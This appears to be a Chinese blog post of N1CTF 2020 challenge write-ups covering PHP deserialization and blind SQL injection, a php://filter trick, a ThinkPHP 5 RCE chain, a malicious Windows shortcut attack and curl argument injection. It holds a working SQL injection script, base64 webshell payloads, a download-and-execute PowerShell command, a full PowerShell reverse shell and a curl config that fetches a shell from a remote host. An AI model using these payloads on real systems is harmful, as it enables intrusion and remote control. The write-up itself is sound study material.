抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

N1CTF的题目质量毋庸置疑,可惜自己能力不足。除了签到还看了easytp5,filters,还有渗透系列的Victim.基本都没思路或者思路跑偏了……抓紧复现下来学习学习。

signin

这题拿的二血难受死了,错失空指针邀请码……(西湖upload也是二血,自己人最近也有点水逆,难道这就是2的诅咒么?:( )

source

class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        if(md5($this->check)===md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
} 

显然我们需要getflag的话,需要拿到数据库里的key.而key需要通过sql注入获取。这里唯一存在注入的地方在ip的__toString中。故通过反序列化触发__toString即可。设置flag类的ip为ip类就可以在stristr处触发了。

接下来就是黑盒waf下进行注入的事了。
我的思路比较直接。直接时间盲注。当然这里稍微构造下进行报错盲注也是可以的。(因为__toString的返回值会与n1ctf比较,而__toString返回值有mysql报错与”your ip looks ok!”两种,那么就可以构造报错从而产生布尔值来盲注了)

时间盲注的话,由于ban了不少关键词,所以我是现学的新方法
select rpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')

其实挺像 js里的正则盲注的。当然其实从其他几种时间盲注方法如heavy query就可以推出这种令服务端产生负荷的方法必然可行233。
然后题目只waf掉了rpad,rpad不能用的话改成lpad就好了:)

exp

import requests
import time
import string


url='http://101.32.205.189/'


def getflag(payload):
    r = requests.get(url, params={'input': payload})
    print(r.text)
#key n1ctf20205bf75ab0a30dfc0c

def sqli():
    res=""
    for i in range(1,50):
        print(i)
        for j in string.printable:
            headers = {
                #'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
                #'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'),"+str(i)+",1))=" + str(j) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
                'X-Forwarded-For': "1'^(if(ascii(substr((select `2` from (select 1,2 union select * from n1key)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
                # select `2` from (select 1,2 union select * from n1key) a limit 1,1
            }
            t = time.time()
            r = requests.get(url, params={'input': payload}, headers=headers)
            if 'hack' in r.text:
                print('banwords')
            if time.time() - t > 2.5:
                res +=j
                print(res)
                break



if __name__=="__main__":
    #sqli('O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}')
    getflag('O:4:"flag":2:{s:2:"ip";N;s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}')

这里浪费我时间最久的就是最后一步select key from n1key,导致错失一血。试了好久还换了一种注法才怀疑是他服务端waf了这个语句。然后尝试性的改成无列名注入select `2` from (select 1,2 union select * from n1key)a limit 1,1就成了 orz. 所以可能还是自己太菜才错失良机吧。

filters

source

<?php

isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
    array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
    require_once $source_file;
}
catch(\Throwable $e){
    pass;
}

unlink($source_file);

?>

这题自己就没做出来了。不过可以分享下我当时的思路,我感觉应该是控制filter过滤器多层组合fuzz来构造任意字符。也就是说前提是在resource始终为/usr/bin/php下的。

假如这里不是file_get_contents的话其实很简单,因为过滤器的内容可以使用我们自定义的,所以像

php://filter/write=string.rot13|<?cuc @riny($_CBFG[Dsgz])?>/resource=
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSb[cy)]?; >

可以在file_put_contents()时写入指定文件。并且warning不影响写入。不过出题人肯定知道这点所以是先file_get_contents再file_put_contents。并且文件名的参数也不可控,所以就不知道是什么奇淫技巧了。

ps: 看到官方wp的确是fuzz构造字符。有点orange 的 oneline php challenge那味了。

看到SuperGusser的wp后感觉他们的思路是真的简单。。。

filters=resource=data:,<?php%20system('ls');?>

直接最质朴的data协议写入,不用带上text,plain,base64之类的。那么后面的内容都被当做data的内容了。所以根本不用管/

easytp5

smile大师傅的题必然少不了thinkphp ?
这题我思路有点走偏了,其实要是按照原来暑假跟过的tp5.0 的rce思路应该会顺利多了。

以下内容可以在直接学习tp漏洞的笔记找到
首先是一个tp5 rce的通用点。那就是可以通过控制器来覆盖值。
在Request.php

if (isset($_POST[Config::get('var_method')])) {
      $this->method = strtoupper($_POST[Config::get('var_method')]);
      $this->{$this->method}($_POST);
}

典型的就是可以调用Request任意方法并以$_POST为参数。
然后进__construct

public function __construct($options = []){
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
}

有一个任意参数覆盖。所以还是利用这个类的所有可控参数来找gadget打。
这里继续下断点一路跟发现会根据app_debug的值前往当前类下param方法。
而这个方法全都走input方法。也就是都会调用了call_user_func。

//input
if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    reset($data);
} 

//filterValue
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {

以上部分跟tp5的rce思路完全一致。只不过题目设置了disable_function,以及禁用了一些单参数函数。导致大部分payload都不可行。

那么比较重要的就是找gadget了。
我们可以控制filter,然后进行任意方法的单参数rce.不过由于for循环循环调用$value.所以可以搭配gadget进行rce.
这里可以找恶意函数找到eval
thinkphp\library\think\view\driver\Php.php

public function display($content, $data = [])
{
    if (isset($data['content'])) {
        $__content__ = $content;
        extract($data, EXTR_OVERWRITE);
        eval('?>' . $__content__);
    } else {
        extract($data, EXTR_OVERWRITE);
        eval('?>' . $content);
    }
}

因为这里的直接调用会报错,所以看到SuperGuesser的wp里提到了设置set_error_handler 为任意其他函数来避免tp的默认错误处理。此处是implode.那么就可以直接继续了。
关于filter的调用。

就是这四次调用

1.set_error_handler "implode"
2.self::path  base64-payload 
3.base64_decode  base64-payload 
4.\think\view\driver\Php::Display payload

payload

http://127.0.0.1:8000/?s=captcha&g=implode"

post:
path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ2J5Yy5waHAnLCc8P3BocCBldmFsKCRfUkVRVUVTVFtieWNdKTs/PicpOyA/P
g==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET

这里我觉得利用::的确意想不到。以为按照自己的认识来说::是用来访问静态属性跟方法。没想到是可以调非静态的(有warning).基于上面已经解决了tp报错的问题,这里也就没啥问题了。

看到smi1e分享了其他一些非预期解以及预期解。打算跟一跟

The king of phish (Victim bot)

source

import os
import uuid
import LnkParse3 as Lnk
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
    return source


@app.route('/send', methods=['POST'])
def sendFile():
    if 'file' not in request.files:
        return 'No file part'
    file = request.files['file']

    if file.filename == '':
        return 'No selected file'
    data = file.stream.read()
    if not data.startswith(b"\x4c\x00"):
        return "You're a bad guy!"
    shortcut = Lnk.lnk_file(indata=data)
    if shortcut.data['command_line_arguments'].count(" "):
        return "File is killed by antivirus."
    filename = str(uuid.uuid4())+".lnk"
    fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
    open(fullname, "wb").write(data)
    clickLnk(fullname)
    return "Clicked."


def clickLnk(lnkPath):
    os.system('cmd /c "%s"' % lnkPath)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

这里开始主要是被lnk的命令里bypass 空格给困扰了。后来想起来不用空格还可以用其他不可见字符.那就很简单了。用\t替换下空格即可。
結果找半天没找到恶意lnk的生成工具。。。

最后今天复现时找到一个windows上的。 https://github.com/fireeye/SharPersist
用以下命令即可生成lnk文件.

SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "IEX(New-Object`tNet.WebClient).DownloadString('http://xxx/byc.ps1')" -f "byc1" -m add

这里用到一个小技巧:powershell命令行下可以直接用`t 来表示字符串中的\t

然后开始准备用的是nishang的反弹shell脚本。结果没反应,感觉是被防火墙拦了。所以就换了个简单的
服务器上的byc.ps1

$client = New-Object System.Net.Sockets.TCPClient("10.0.2.4",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

最后发送即可getshell

flag在userA 桌面
n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}

后面拿域控的思路就没有了…

Docker_Manager

BUU上面又复现了两题。zabbix_fun直接拿exp打的。Docker_Manager可以记录下

赵总的wp很详细了。学到很多
https://www.zhaoj.in/read-6750.html

题目核心代码基本就是下面了

$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
exec($cmd, $output, $ret);

显然就是一个curl的参数注入。但是利用起来比较有趣。

You tell curl to read more command-line options from a specific file with the -K/–config option, like this:

-K是可以读取一个配置文件的。然后如果配置文件demo如下

# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"

# and fetch another URL too
url = "example.com/docs/manpage.html"
-O
referer = "http://nowhereatall.example.com/"
# --- End of example file ---

也就是说,只要K能加载到设计过的配置文件,就能读内容并输出。这只用到了-K一个指令,即可达成写shell的目的。
然后就是非常巧妙的一个利用了。我们需要想办法读到配置文件,而这就是利用了/proc/xxx/cmdline
原来我们知道,/proc/self/cmdline常用于读取java,python这样的web应用的一些简单配置。但是实际上其他命令行或者说一个pid都会对应其运行时的命令即/proc/{pid}/cmdline

那么假如我们有办法让cmdline长时间驻留,就可以爆破pid读取到配置文件。这里可以利用/dev/urandom等等文件。实际上dev下很多没有实际大小的文件都可以用来读取。

那么首先我们利用换行符,就能在某个pid的cmdline构造如下的一个配置文件

view.php?host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="http://frps:9001/byc.php"%0aoutput="img/byc.php"%0a%0a%0a%0a%0a%0a%0a
curl --connect-timeout 10 '-K/dev/urandom' --cacert='111





url="http://frps:9001/byc.php"
output="img/byc.php"

接下来就是同样的办法爆破-K/proc/xx/cmdline,从而加载上面的配置文件,写进shell

getshell后 trap "" 14 && /readflag即可。

评论